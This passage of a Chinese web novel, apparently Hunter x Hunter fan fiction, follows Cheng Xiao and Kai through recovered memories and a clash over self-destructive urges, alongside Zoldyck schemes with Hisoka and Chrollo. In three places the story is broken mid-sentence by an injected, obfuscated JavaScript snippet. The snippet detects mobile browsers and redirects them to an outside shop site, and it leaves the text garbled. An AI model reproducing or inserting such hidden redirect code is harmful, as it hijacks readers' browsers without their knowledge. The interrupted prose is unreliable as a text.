而现在,他们可以毫无后顾之忧地,去享用送上门的“主菜”了。 “……可以。”席巴最终裁定,声音低沉平稳,却仿佛蕴含着将整座枯枯戮山都压下去的重量。“此事由你全权负责。” 他伟岸的身躯微微前倾,那双锐利的眼睛锁定伊尔迷,一字一句地补充道,每一个音节都如同冰锥砸落: “程笑的行为,已构成对揍敌客根基的挑衅。家族的名誉,不容玷污。既然此次目标直指这只蛀虫,那么,即便过程需要触及‘亚路嘉’的领域,风险也在可评估范围之内。” 他的话语里没有咆哮,却有一种比愤怒更可怕的东西——一种绝对零度般的、不容置疑的意志。 “揍敌客的尊严,不容任何形式的轻慢。让这次行动的结果,成为对此最清晰的宣告。” “是,父亲。”伊尔迷微微颔首。 他转身离去,阴影吞没他的身影。 每个人都坚信自己手握剧本,但剧本的最终解释权,从来都掌握在更冷酷、更善于解读规则的人手中。 世界的另一个角落,某处荒无人烟的峭壁之下。 程笑气喘吁吁,像只逃难的土拨鼠,正手脚并用地攀爬着一个极其隐蔽的天然洞穴。他裤腰上死死别着那个得来不易的“意识之偶”,那玩意儿硌得他生疼,但他愣是没舍得扔。手里还攥着一根不知道从哪儿掰下来的粗树枝,既当拐杖又当探路工具。 “啪叽”一声,他终于彻底爬进了洞口,四仰八叉地瘫在冰冷的地面上,胸腔如同风箱般剧烈起伏。 “哎……哎呀妈……”他大口喘着气,对着空气(也是对自己脑子里的另一位)念叨,“这地方……够、够隐蔽了吧?蜘蛛、揍敌客……就算是他妈的猎人协会来了,也得找上一阵子……先、先歇歇……” 意识深处,凯的声音回应而来,带着一丝极少显露的、精神层面的疲惫:“可以。” 然而,就在两人精神稍稍松懈的这一刹那—— 轰!!! 一股完全无法抗拒的、庞杂而痛苦的记忆洪流,毫无征兆地猛然爆发,如同决堤的江河,疯狂地冲进程笑的脑海! “呃啊——!”程笑猝不及防,发出一声短促的痛呼,整个人猛地蜷缩起来,双手死死抱住仿佛要裂开的头颅。太阳穴突突直跳,无数陌生的画面、声音、情绪碎片像是烧红的烙铁,硬生生烙进他的神经里。 “……!”凯同样在承受着这股冲击,他的意识波动甚至比程笑更加剧烈。那些被他遗忘的、属于“凯”的人生——流星街的灰暗、玛莎福利院的微光、那个陌生“姐姐”决绝的背影、揍敌客家族的冰冷辉煌、步步为营的算计、计划败露时的解脱、以及最后袭击伊尔迷时的绝望……一切的一切,排山倒海般归来! 两人都始料未及。他们都以为烧掉那具作为“伊尔迷妻子”的躯壳后,记忆会立刻恢复,甚至一度怀疑这根本就是伊尔迷为了骗他回去编造的谎言。 却没想到,这延迟的“馈赠”竟如此霸道,偏偏选在他们刚刚以为获得片刻安宁的时刻袭来! 更让程笑恐惧的是,他感觉“自己”正在消失!那些强烈的、属于另一个人的记忆和情感是如此真实而霸道,正在疯狂地覆盖、挤压他原本的意识和记忆!我是谁?我是那个在流星街挣扎的孩子?我是那个在揍敌客运筹帷幄的管家?还是……程笑?剧烈的认知混乱和撕裂感让他几欲呕吐,精神濒临错乱的边缘。 但几乎是瞬间,凯就意识到了程笑所处的极端危险——两套完整的、都蕴含着巨大情感冲击的记忆正在同一个大脑里争夺主导权,这足以彻底摧毁任何一个健全的人格! 没有一丝犹豫,甚至顾不上自己正被往事撕扯的痛苦,凯凭借着强大的意志力,强行凝聚起意识,向那个正在被“淹没”的程笑传递出最清晰、最紧迫的指令: “程笑!听我说!” “这不是你的记忆!固守本心!” “意识之偶……现在……立刻把我剥离出去!快!” 他的声音如同利剑,劈开混乱的浪潮! 程笑此刻已经被记忆洪流冲得头晕眼花,认知混乱,脑仁疼得几乎无法思考,全凭求生本能和对凯那点残存的信任,哆哆嗦嗦地抓向裤腰上的“意识之偶”。 他也顾不上什么姿势仪态了,几乎是连滚带爬地将那具古朴的人偶摆在地上,双手死死按了上去,心里只有一个念头:“出去!快从他脑子里出去!这是我的脑子!” 下一刻,奇异的事情发生了。 那具原本只有手臂长短的“意识之偶”,仿佛被注入了生命般,开始缓缓变大!其表面粗糙的布料质感,如同蜕皮般悄然褪去,逐渐变得细腻、光滑,呈现出一种……近乎人类皮肤的质感与色泽! 而蜷缩在地上的程笑,猛地感觉到脑袋一轻——那几乎要撑爆他颅骨的痛苦潮水般退去了。 “嗬……嗬……” 程笑瘫软在地,大口大口地喘着粗气,额头上全是冷汗。大脑里仿佛经历了一场爆炸,此刻虽然剧痛消退,却一片狼藉,嗡嗡作响。 他根本顾不上眼前那个由人偶变成的大活人,也顾不上什么尴尬或者好奇。 他所有的注意力前所未有的集中,正全力以赴地、近乎恐慌地进行着一项极其重要的内部工程——紧急区分和加固“自我”的边界。 就像在一间被飓风扫荡过的图书馆里,他必须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571418|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞快地把“程笑”的书和“凯”的书分拣开来,塞回不同的书架,并死死按住属于“自己”的那部分,生怕一不小心,那两个书架又轰然倒塌,混合在一起。 “我是程笑,来自另一个世界,我想死,我来了全职猎人……” “我不是凯,我没在流星街长大,我不欠一个姐姐的命,我不是揍敌客的管家……” “那些冰冷的计算、那些沉重的责任、那些绝望……不是我的!不是我的!” 他反复地、几乎是神经质地默念着,进行着自我锚定。这种精神上的梳理和防御,消耗了他巨大的精力,以至于他暂时完全屏蔽了外部世界。 因此,他只是无意识地、用眼角余光瞥见那个蜷缩在地上的赤裸身影在痛苦地颤抖,耳边似乎隐约听到压抑的闷哼声。 但那些声音和景象,仿佛隔着一层厚厚的毛玻璃,模糊而遥远。 他的全部心神都在呐喊着一句话: “稳住!程笑!你是程笑!别被带跑了!” 过了好一会儿,直到他感觉脑海里那惊涛骇浪般的混乱渐渐平复,两个“书架”勉强立住了,他才像是虚脱了一般,彻底放松下来,后背完全贴在了冰冷的地面上。 与此同时,在他面前,那个由人偶变化而成的、赤身裸体的黑发男子,却替代了他刚才的位置,猛地蜷缩起身体,发出一声压抑不住的、混合着巨大痛苦与迷茫的闷哼。 过了仿佛一个世纪那么久,地上蜷缩的人影剧烈的颤抖终于渐渐平息。 凯缓缓地、有些僵硬地松开了抱紧自己的手臂,撑坐起来。黑色的碎发被冷汗濡湿,贴在额角和脸颊。他眼神有些空茫,仿佛还沉在那片刚刚归来的、名为“过去”的冰冷深海之中,带着一种劫后余生般的疲惫和麻木。 程笑这边也终于勉强把自己的“精神书架”给糊弄立住了,长舒一口气。他一扭头,正好对上凯那双失焦的、还带着未散尽痛楚的漆黑眼睛,以及……呃……一大片苍白的、毫无遮挡的皮肤。 程笑:“……” 一种极其不自在的感觉瞬间攫住了他。这跟那张漂亮脸蛋无关,纯粹是一个现代社畜灵魂深处对于“裸体相对”这种场面的本能性尴尬。 他几乎是下意识地、动作有些粗鲁地“唰”一下把自己身上那件因为逃亡而脏兮兮的外套扒了下来,团成一团,没好气地扔了过去,精准地盖在凯的脸上。 凯:? 脸上突然被蒙了一件带着尘土和汗味(主要是程笑的汗味)的外套,凯空洞的眼神里浮现出一丝真实的疑惑。他从脸上拉下那件衣服,不解地看向程笑。 虽然完全无法理解“羞耻心”这种奢侈的概念,但凯凭借其顶尖的观察力和逻辑分析能力,迅速将程笑的反应(移开视线、皱眉、扔衣服)与当前环境(自己未着寸缕)关联起来,得出了一个结论:程笑对“裸露”这一状态感到不适。 凯没有追问“为什么”,只是平静地、甚至有些笨拙地(毕竟很久没用过真实身体做这么细致的动作了)将那件外套展开,然后……非常实用主义地随意一围,勉强遮住了重点部位。 做完这个动作,他再次抬起眼看向程笑,眼神仿佛在说:“这样可以了吗?现在能继续讨论正事了吗?” 程笑看着他那副“问题已解决”的坦然表情,和那件围得极其勉强、反而更凸显某种诡异氛围的外套,嘴角抽搐了一下,最终只能无力地抹了把脸。 程笑(内心OS): “……行吧。总比光着强。跟这种‘非人类’没法讲常识!” 山洞里的气氛,从刚才记忆冲击的悲剧,瞬间跳频到一种由认知差异造成的冷幽默状态。 29.互戳肺管子 程笑看着凯那副把外套当遮羞布系在腰间的实用主义做派,脑子里下意识地又开始跑火车: 程笑(内心OS): “啧啧,幸好伊尔迷是个著名的性冷淡,这家伙(凯)看起来也是个会选择性的忽略‘性’这回事的工作狂……不然就凭这前揍敌客大佬、流星街美强惨的身份和这张脸,这经历要是搁别人身上,指不定被传成什么香艳离奇的八卦了……” 他几乎能脑补出一些狗血小报的标题了。 然而,这个轻佻的念头刚刚闪过,那些刚刚强行被他压下去的、属于凯的记忆碎片,就像是沉在水底的冰块,冷不丁地又浮了上来——尤其是最后那一段:精心策划的求死、袭击伊尔迷时孤注一掷的绝望、以及……被念钉击中后,意识陷入混沌,醒来后被告知“你是我的妻子”时的那种……全然空白、被强行赋予身份的彻底茫然与虚无。 那感觉并非痛苦,而是一种更深沉的、连自我都被否定的死寂。 程笑脸上的那点调侃瞬间消失了,像是被冷水泼灭的火星。 他忽然觉得,自己刚才那个关于“香艳八卦”的联想,不仅不合时宜,甚至有点……轻浮得可耻。 程笑(内心OS): “……靠。” 他沉默下来,目光从凯系着外套的腰际移开,落在了对方依旧没什么表情、但眼神深处还残留着一丝未散尽空洞的脸上。 而凯,此刻确实正处在那段记忆的回响中。 他安静地坐着,微微垂着眼眸。那些记忆带来的并非激烈的情绪,而是一种……沉重的、冰冷的荒谬感。 他所有的计算、所有的挣扎、所有的绝望和最终选择的解脱……最后竟然导致了那样一个完全在他预料之外的、近乎滑稽的结局。 他不是作为战士或罪人死去,也不是作为英雄被铭记。他像是被随意摆弄的玩偶,被抹去过去,套上“妻子”的壳子,放在华丽的笼子里,度过了一段他本人毫无知觉的、虚假的时光。 这种命运完全脱轨、被他人彻底掌控的感觉,对于他这样一个一生都在试图掌控自己和他人生死命运的人来说,或许比死亡本身更让他感到……无措。 山洞里一时陷入了沉默。 一种混合着沉重、荒谬和淡淡悲伤的沉默。 程笑抓了抓头发,第一次在面对凯时,感到了一种有点不知该如何是好的……小心翼翼。 山洞内的沉默几乎要凝固了。 凯静静地坐在那里,目光没有焦点地落在虚空中的某一点。他前半生所有的行动纲领、所有的生存意义,都建立在那个“为流星街而死”的终极目标上。像一个被编写好最终指令的程序,一路狂奔向终点。 可现在,终点线被意外地、荒谬地延后了。 程序还在运行,却失去了核心指令。 这多出来的、计划之外的生命,让他感到一种前所未有的……迷茫和不知所措。他甚至不知道该如何“使用”这段多出来的时间。 程笑敏锐地感受到了他身上散发出的那种空洞和纠结。他收起了一贯的嬉皮笑脸,犹豫了一下,还是小心翼翼地、几乎是屏住呼吸地试探着开口: “那你……以后准备怎么办?” 凯:………不知道。 他回答得很快,几乎是本能地、沿着最熟悉的思维路径给出了答案,仿佛这样才能填补那份无措: “可能……会另找一个‘危险的资源’,继续‘盗窃’…” 程笑(被这种深入骨髓的执念惊到眉头一跳): “…你要选个别的地方,重复在揍敌客干过的事吗?” 他的声音里带着难以置信,“再来一次?直到成功,或者……真的死掉?” 凯:……………… 沉默许久 程笑的话像针一样刺破了他下意识的防御。是啊,再来一次?然后呢?即使成功了,然后呢?他的人生难道就是一个无限循环的莫比乌斯环吗? 一种巨大的疲惫和虚无感席卷了他。 他抬起头,看向程笑,那双总是冷静算计的眼睛里,第一次流露出了一种近乎脆弱的茫然。他喃喃地反问,声音轻得几乎听不见,像是在问程笑,又像是在问自己,更像是是在质问那玩弄了他的命运: “……不然呢?” “我这条命还在…” 他的逻辑依然固执地围绕着那个起点打转,“不应该继续……为流星街燃烧吗?” 这句话彻底点燃了程笑一直压着的火气! “听着!” 程笑猛地伸出手,有些粗暴地掰过凯的脸,强迫他看着自己。他的动作很大,但眼神里却没有戏谑,只有一种恨铁不成钢的急切和愤怒。 “你的姐姐救你!”程笑盯着他的眼睛,一字一句,几乎是在低吼,“是为了你能为自己而活!不是为了让你把自己捆住去送死!” 他越说越激动,声音在山洞里回荡: “奇犽呢?!他拼着许愿让你‘自由’!你刚从他哥那个更大的笼子里逃出来,喘口气的功夫都没有,就又急不可待地要给自己套上一个新的枷锁吗?!” “你所谓的‘燃烧’,根本就不是奉献!是自毁!是逃避!”程笑的话语像锤子一样砸下来,“你只是不敢面对‘为自己而活’这件事而已!因为这比你去死难多了!” 程笑的胸膛剧烈起伏着,他松开了手,仿佛用尽了力气。 山洞里只剩下他激动的余音和凯彻底怔住的神情。 凯被这劈头盖脸的痛骂震住了,那双空洞的眼睛里,似乎有什么坚固的东西,正在程笑的话语下,缓缓裂开一道缝隙。 凯的声音低沉而沙哑,每一个字都像是从沉重的枷锁中艰难挤出: “……可是,我早该死去了…我能活着都是‘姐姐’…我是她生命的‘延续’!如果我不坚持,那她不就白救我了吗?我作为‘幸存者’,本应该为‘灾难’赎罪…” 这番话说得如此理所当然,仿佛是天经地义的真理,刻进了他的骨髓里。 程笑听着这些话,没有立刻反驳。一个冰冷刺骨的念头,像一道闪电般劈中了他——他之前所有的疑惑和猜测,那些看似不相关的碎片,在这一刻被一条名为 “求死” 的线串了起来,瞬间组成了一个完整而令人心碎的真相。 他突然全都明白了。 凯之所以如此坚定地、甚至堪称偏执地执行着那个为流星街“盗窃”资源的“程序”,不仅仅是因为所谓的“继承遗志”。 其最深的内核,是那股强大到扭曲的“自毁倾向”和无法摆脱的“幸存者创伤”! 他选择揍敌客,不仅仅因为那里利益最丰厚。 更是因为那里危险系数最高,最容易“合理地”死去!他从一开始,就为自己选择了一条通往死亡的捷径!他所有的奋斗,本质上都是一场精心设计的、漫长的自杀! 还有那记忆最后,他得知“妻子”判决后,那看似失控、实则是精准计算后对伊尔迷的发起的自杀式攻击…… 那不仅仅是为了保全流星街的布置。 那更是他在绝望中,对自己渴望已久的“死亡”发起的最后冲刺! 他所有“伟大”的目标和“无私”的奉献,其最原始的驱动力,竟然是对自我生命的极度厌恶和否定,是一种变相的自我惩罚! 我去……所以你这家伙所谓的“伟大计划”,从头到尾……根本就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一直压抑的、从未与人诉说过、甚至可能对自己都拒绝承认的委屈、绝望和巨大的痛苦,似乎找到了一个决堤的出口。 他的意识音不再平稳,带上了一种被逼到绝境后、反而趋于绝对零度的冰冷和精准的残酷: “…………” “那么,程笑。” “你这般义正词严地批判我的“程序”……” “你自己呢?” 他的声音像冰冷的毒液,缓慢而清晰地注入空气: “你看似无所畏惧,追求刺激,不过是用‘虚无’和‘疯狂’来掩盖你不敢面对的空洞!” “你将一切视为游戏,因为一旦承认其真实性,你就必须承担责任,而你害怕承担任何重量!” 凯的目光锐利如刀,仿佛已经将程笑从里到外彻底看穿: “我的‘程序’至少还有一个目标!你的‘程序’根本就是一片混乱的虚无!你甚至连一个值得为之赴死的目标都没有!” 最后,他几乎是掷地有声地、带着一种近乎残忍的优越感,发出了灵魂拷问: “至少我知道自己为何而死!你呢?你连为什么活都不知道!” 寂静。 死一般的寂静。 程笑脸上的激动和愤怒瞬间凝固了,像是被一盆冰水从头浇下。 凯的每一句话,都像一颗子弹,精准地命中了他一直试图用喧闹和玩世不恭掩盖起来的、内心最深处的荒芜与恐惧。 程笑看到了他为自己设定的“伟大”死亡。 而他也同样,一眼看穿了程笑那“乐子人”面具下的——彻底的虚无。 这场互相的解剖,没有赢家。 他们都赤身裸体地站在对方面前,露出了内心深处最不堪、最脆弱、也最真实的伤疤。 山洞里,只剩下两个同样迷失的灵魂,在彼此残酷而真实的映照下,无所遁形。 30.讨价还价 山洞里的气氛凝固了许久。 仿佛两个刚刚进行了一场生死搏斗的幼兽,此刻都精疲力尽地退回了各自的角落,默默地舔舐着被对方言语撕开的、鲜血淋漓的伤口。空气中弥漫着被剖开真相后的刺痛感和奇异的安静。 最终,是程笑率先打破了这令人窒息的沉默。他的声音不再激烈,带着一种疲惫的、近乎坦然的平静。 程笑:…是的,凯,你说的没错。 他甚至没有看凯,而是望着洞口透进来的、那一缕微弱的天光,仿佛在对着虚空举杯。 程笑:…我确实,活的虚无。你不是很好奇我在你眼中的‘乌托邦’放弃生命的原因吗?…就是这样,是我不够好,配不上它。 他的承认,轻飘飘的,却沉重得砸在地上。那是一种放弃了所有辩解和伪装后的彻底坦白,带着深不见底的自嘲和荒芜。 程笑:…但你说得对,指责你很容易。看清自己…太难了。我们俩,不过是一个想死得‘伟大’,一个活得‘随便’,本质上都是在逃避‘好好活着’这件事,对吧? 凯听着程笑的话,看着他仿佛被抽走了所有力气的侧影。那句“配不上”像一根细小的针,也刺了他一下。 凯:“…” 程笑这番话,将两人拉到了同一个水平线上——都是“逃避者”,这削弱了对立感,创造了共情的基础。凯的沉默,不再是抵抗,而是在消化这个全新的、平等的视角。 他忽然意识到,如果自己前半生赖以生存的所有目标、所有“意义”都被否定,都被斥为是“自毁”和“逃避”……那么他自己呢?他未来的日子,又该凭什么而活?不也同样陷入了一片虚无的迷茫? 一种奇异的、从未有过的共鸣感,在这个流星街长大的、习惯了绝对逻辑的灵魂中悄然滋生。 程笑深吸一口气,语气变得清晰而有力:“…不过,既然老天给了第二次机会…”他顿了顿,这次机会也包括遇见你,他在心里补充:“…我他妈的想试试看!试试不为任何狗屁意义,就为‘我乐意’而活!这很难,但…总比现在这样强!” 程笑向凯伸出手:“你呢?你也算‘重生’了,就准备继续套着那套旧程序,把这好不容易捡来的命再糟蹋一次吗?” 凯抬起头,逆光看着程笑。程笑的话像一把钥匙,不是强行撬开他的锁,而是轻轻叩击着他内心深处那个被层层封锁的、名为“自我”的盒子。奇犽的愿望是种子,程笑这混蛋一路上的疯言疯语是雨水,而此刻这撕开一切真相的对话,是破土而出的那一下。 他沉默了许久。那些枷锁太重,不是一瞬间就能挣脱的。但某种东西确实松动了。 凯:“………不会了。” 这三个字,不是豁然开朗的宣言,而是带着沉重喘息、从废墟中发出的第一个音节。 然后,他抬起手,握住了程笑的手。这个动作,比任何语言都更有力。 ———————— 月光如惨白的汞银,透过废弃教堂残破的彩色玻璃,切割出斑驳陆离的光影。西索·魔术师像一头慵懒的豹子,斜倚在布满灰尘的窗沿,指尖一张扑克牌以违反物理定律的角度缓缓旋转,折射出妖异的光泽。 伊尔迷·揍敌客如同从阴影本身中凝结而出,无声无息地立在他身后,的存在感淡薄得像一道即将消散的幽灵。 “嗯哼~?” 西索没有回头,声线黏腻得如同融化的蜜糖,却又带着针尖般的锐利,“小伊~? 是那颗让你在意的青涩小苹果,终于发酵出值得亲手碾碎的芬芳了吗~?” “他消失了。库洛洛也是。”伊尔迷的回答平铺直叙,没有任何情绪起伏,仿佛在报告天气。他刻意将这两个“消失”并列陈述,营造出一种二者可能有关联的模糊印象,巧妙地掩盖了库洛洛正被自己“保护”起来的事实。 西索终于慵懒地转过身,金色的瞳孔在月光下收缩,里面翻涌着毫不掩饰的玩味:“所以~?无所不能的揍敌客,也有需要外人充当‘变量’的时候~?”他精准地点破了伊尔迷的来意。 “我需要除念师,我知道你也在找。”伊尔迷直接承认了需求,但巧妙地隐藏了真实用途,并将其归结为揍敌客的业务需要。 …毕竟,答应库洛洛的事,总要有个交代。而西索,正是最高效的“外包”选择。 他随即抛出了筹码,“作为交换:家族分析显示,目标除念师与‘贪婪之岛’的关联概率,高达87.3%。” 然而,预想中猎人看到猎物踪迹的兴奋并未出现。 西索只是轻轻歪了歪头,指尖的扑克牌“唰”地一声收拢,脸上露出了一个近乎怜悯的、极其虚假的笑容:“啊啦~? 仅此而已吗~?亲爱的小伊,你是不是忘了……我自己,就是最顶尖的‘情报收集者’呢~?” 他像教导一个不开窍的学生,向前倾身,语气甜腻却带着冰冷的锋芒:“这条消息,至多不过是为我节省了……嗯,大概一周的排查时间吧~?用它来换取我‘即将’到手的除念师的使用权……这定价,是不是太看不起我了呢~?” 伊尔迷空洞的猫眼没有任何波动,但周围的温度仿佛骤降了几度。他深知西索的本质。“你的条件。” 西索的笑容瞬间如同盛开的曼陀罗,巨大、艳丽而饱含剧毒:“我的条件很简单~” “第一,”他伸出食指,如同宣布一条法则,“‘贪婪之岛’的入场券——我知道你们揍敌客肯定有‘安全’的获取渠道——得由你‘友情赞助’~?” “第二,”他的声音如同毒蛇滑过肌肤,“实验过程中,如果我觉得‘无聊’了,或者找到了更美味的‘新玩具’……我有权随时终止合作。并且,你已经支付的‘报酬’……恕不退还哦~?” “第三,”他舔了舔嘴唇,金色的瞳孔兴奋地缩成一条细线,“也是最重要的一点……无论结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593827|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何,程笑和凯的‘最终处置权’,必须提前、无条件地归我~!你不能以任何‘数据不达标’之类的借口反悔~!” 他张开双臂,仿佛在拥抱整个充满乐趣的夜空:“毕竟,乐趣在于过程本身~? 而果实是否美味,要由品尝者来决定,而不是……在一旁记录的、冷酷的科学家,你说对吗~?小伊~?” 这番话说得滴水不漏,极尽贪婪又逻辑自洽。 伊尔迷沉默了片刻。西索的精明在他的计算之内。他迅速权衡: 入场券,成本极低。 “随时退出”条款增加了不确定性,但也意味着减少后续纠缠。 提前转让处置权……这条要求本身毫无约束力。鉴于西索上次委托的尾款尚未结清,这条完全可以事后赖掉,就算是抵消旧账。 理性评估:可行,且西索仍是性价比最高的选择。 尽管如此,被如此直接地反驳和抬价,对象还是西索,这让他感到一种微妙的、程序运行受阻般的不悦。伊尔迷极其轻微地抬了抬眉,语气依旧平板,却多了一丝不易察觉的“那就拉倒”的意味: “哦。那算了。” 他顿了顿,仿佛只是陈述一个备选方案:“找到几个有家室的管家来帮忙,也并不难。” 潜台词:你西索是高性能但不可控的“变量”,而管家是稳定但效率较低的“工具”。我选择你本是为了效率,若成本过高,不如回归稳定方案。 西索怎么可能听不懂这揍敌客式的讨价还价?若真有完美替代品,伊尔迷根本不会出现在这里。伊尔迷的顾虑在他听来清晰无比:原来是担心手下人会像掉进蜜罐的老鼠,迷失在那个游戏里忘了本职工作啊~? 真是典型的揍敌客式思维~ 这个念头让西索感到一种扭曲的趣味。 但他没有趁机继续抬价,某种介于“老朋友”的熟稔与对这场游戏本身的期待之间的微妙情绪,让他流畅地切换到了另一种模式。 他脸上的夸张笑容瞬间收敛,化作一种带着些许暧昧和诱惑的低沉语调,如同在权色场上周旋的老手: “哎呀~别这么冷淡嘛。”他向前一步,几乎要踏入伊尔迷的私人空间,声音压得更低,“你看,找一个既足够‘不可预测’能当你的‘变量’,又足够‘强大’不会轻易死掉,还绝对会为了更有趣的现实而准时‘返航’……这样的‘合作伙伴’,多不容易呀~” “省下你担心手下人‘乐不思蜀’的管理成本,说不定……能让你给我打个折呢?” 他眨了下眼,暗示性十足,精准地戳破了伊尔迷那未明说的顾虑,并将自己的“不可预测性”重新包装成了一种“可靠的不可预测性”。 伊尔迷面无表情地看着他,似乎在处理这条复杂且无用的社交信息。几秒后,他得出了结论:“……可以。条款照旧。入场券三天内送到。” 交易达成。没有握手,只有月光下两个各怀鬼胎的影子。 31.“投毒” 场景:安全屋,夜晚 库洛洛合上手中那份细节苛刻的《实验计划》,指尖在纸面上留下一个轻微的压痕。他抬起眼,看向如同阴影本身般凝结在房间角落的伊尔迷。空气里弥漫着一种毒蛇休战时的、谨慎的平静。 库洛洛唇角勾起一丝若有若无的弧度,率先打破沉默: “哦?”他发出一个轻柔的音节,像猫爪擦过绒布,“我的价值,竟然只够格担任‘预处理’的环节吗?”他歪了歪头,语气里带着一丝恰到好处的、仿佛被低估的惋惜:“真是……令人意外的安排。” 真是谨慎到骨子里的家族啊…… 这份计划写得明白:他只负责将“材料”逼至绝望的临界点,后续真正的核心实验则由揍敌客全权接管。这与他预想的——亲身观测、甚至体验那个被严密守护的“秘密”——相去甚远。他几乎触碰不到任何核心细节。 但正因如此,才越发显得那颗“果实”的诱人。 拒绝让他窥探,正说明其价值庞大到连当前的“合作”关系都不足以换取。实验对象频繁更迭,则意味着连揍敌客自身都还在摸索阶段…… 一份远未成熟、却因此更加令人垂涎的禁忌之果。 库洛洛笑眯眯地看着对方,屋内绰绰的灯光将他立体的五官分割成明暗两面,神情完美得无懈可击。 伊尔迷在阴影中缓缓移动,如同窗外婆娑的树影,声音平直地穿透黑暗: “不必可惜。”他的瞳仁在暗处闪着细碎的光,像冰冷的玻璃珠,“你的意志力过于强悍,作为实验体,‘预处理’阶段会产生大量不可控的变量,效率低下。” 他冷静地评估着,话语像手术刀一样精准且毫不留情,全然不顾及这层脆弱的合作关系。 让你保持清醒地接触核心秘密?风险太高。一个不受控的库洛洛·鲁西鲁,比一万个疯狂的实验体更危险。 伊尔迷沉默了片刻,他似乎意识到需要维护一下这摇摇欲坠的“信任”,用一种仿佛临时想起的语气补充道: “当然,作为补偿,我会为你提供一份‘便利’。” “你最近的仇家……数量可观。正好可以作为优质的实验材料,为你省去搜寻的麻烦。” 他略微歪头,补充了一句在揍敌客逻辑里堪称“慷慨”的话:“你可以亲眼见证,你的‘仇家’们,是如何在你带来的压力下,一步步变成合格实验体的全过程。” 库洛洛的笑容未变,但眼底深处闪过一丝极淡的冷光。伊尔迷的“慷慨”,何尝不是一种更精密的囚笼? 伊尔迷似乎很“满意”这个无声的共识,最后用一句话为这场对话画上句号,语气里带着一种将资源利用到极致的效率感: “至于你的那些仇家……名单和动向,明天会送到你手上。”他转身融入阴影,留下最后一句低语:“就当是……揍敌客的合作诚意。” ………………… 山谷溪流中,程笑猛地扎进水里,溅起的水花被凯随手拍散。 凯的声音平静地响起,如同播报系统提示:「距离‘空间跳跃’的代价清偿完毕,还有十一小时五十秒。」 水面冒起一串不满的气泡。 五分钟后,程笑还是憋不住了,“噗”地冲出水面,大口喘气。 “至于吗?!奸商!”他愤愤地捶着岸边的湿泥,“赊半天跳跃,还一天静止?!连呼吸起伏都算违规,这合理吗?!” 凯蹲下身,捡走他发间的水草,语气平淡得像在陈述物理定律: “你篡改的是‘空间’的规则。那么,用绝对的‘静止’来偿还,很公平。” 程笑眼疾手快,一把从凯指尖捏过那截湿漉漉的水草残骸,语气夸张得像在教训不省心的熊孩子:“干啥呢!别碰这脏东西!你这身料子有多难洗心里没数吗?!要洁身自好,尊重别人的劳动成果啊歪!” 凯刚张口吐出“不过是…”三个字,话音未落,他整个身体如同被戳破的气球般,“噗”地一声轻响,瞬间缩回了那个古朴的巴掌大人偶。 程笑早有准备,双手稳稳接住下落的人偶,动作熟练得仿佛重复过无数次。 凯的意识音在人偶中平静地接上未尽的话:“…水草而已。” “这下可算摸到点附身的门道了?”程笑用指尖轻轻弹了弹人偶的脑门,语气里带着点实验成功的得意。 凯的回应冷静而精准,如同在汇报数据分析结果: “初步结论:维持基础生命活动约六小时。能量消耗与输出功率正相关,发力越猛、频率越高,存在时间越短。” …………… 地窖的门在身后无声合拢,最后一名“预处理”完毕的实验体被揍敌客的管家像搬运家具般带离。库洛洛·鲁西鲁回到那间囚禁与庇护并存的房间,反手锁上门——尽管他知道这毫无意义。 他走到书架前,指尖在几本厚重的哲学著作脊背上滑过,最终停留在但丁的《神曲》上。轻轻抽出,书脊内侧是一个被巧妙切割出的暗格。里面躺着一本薄薄的、没有任何标识的笔记本。 他的私人实验记录。 每一次“预处理”后,他都会将实验体的崩溃类型、程度,以及之后从伊尔迷只言片语中巧妙套出的“结果”(“那个没挺过去,可惜了”、“这个倒是产生了有趣的变化”),悉数记录在此。这是在揍敌客绝对掌控下,他唯一能窃取的、独属于他自己的分析。 就在他刚翻开笔记本,目光落在最新一行字迹上时—— “这次的三个,‘质量’比上一批稳定。” 伊尔迷·揍敌客的声音毫无征兆地从房间角落的阴影里传来,平直得像在陈述一个客观事实。 库洛洛的心脏猛地一缩,全身肌肉在瞬间绷紧!杀手的潜行依旧无声无息,失去念力的他,感知网出现了致命的盲区。 几乎是一种本能,他甚至来不及思考,右手极其迅速地将笔记本合拢,顺势塞进了手边一本摊开的《国家地理》杂志内页。动作流畅自然,只是指尖残留着一丝肾上腺素的微颤。 几乎在他完成这个动作的下一秒,房门被推开。 声音先至,人后入门,这是伊尔迷近来养成的、透露着一丝“随意”的习惯。 伊尔迷走了进来,如同回自己房间一样自然,径直陷进对面的单人沙发里,慵懒地交叠起双腿。 “不过,‘恨意’的纯度还是不够。”他继续着刚才的话题,漆黑的猫眼落在库洛洛身上,像是在评估一件工具的工作状态。这种“反馈”在他看来是必要的,能帮助库洛洛优化“预处理”流程,提高效率。日复一日的“合作”,让最初的绝对警惕,也磨出了一丝程序化的“从容”。 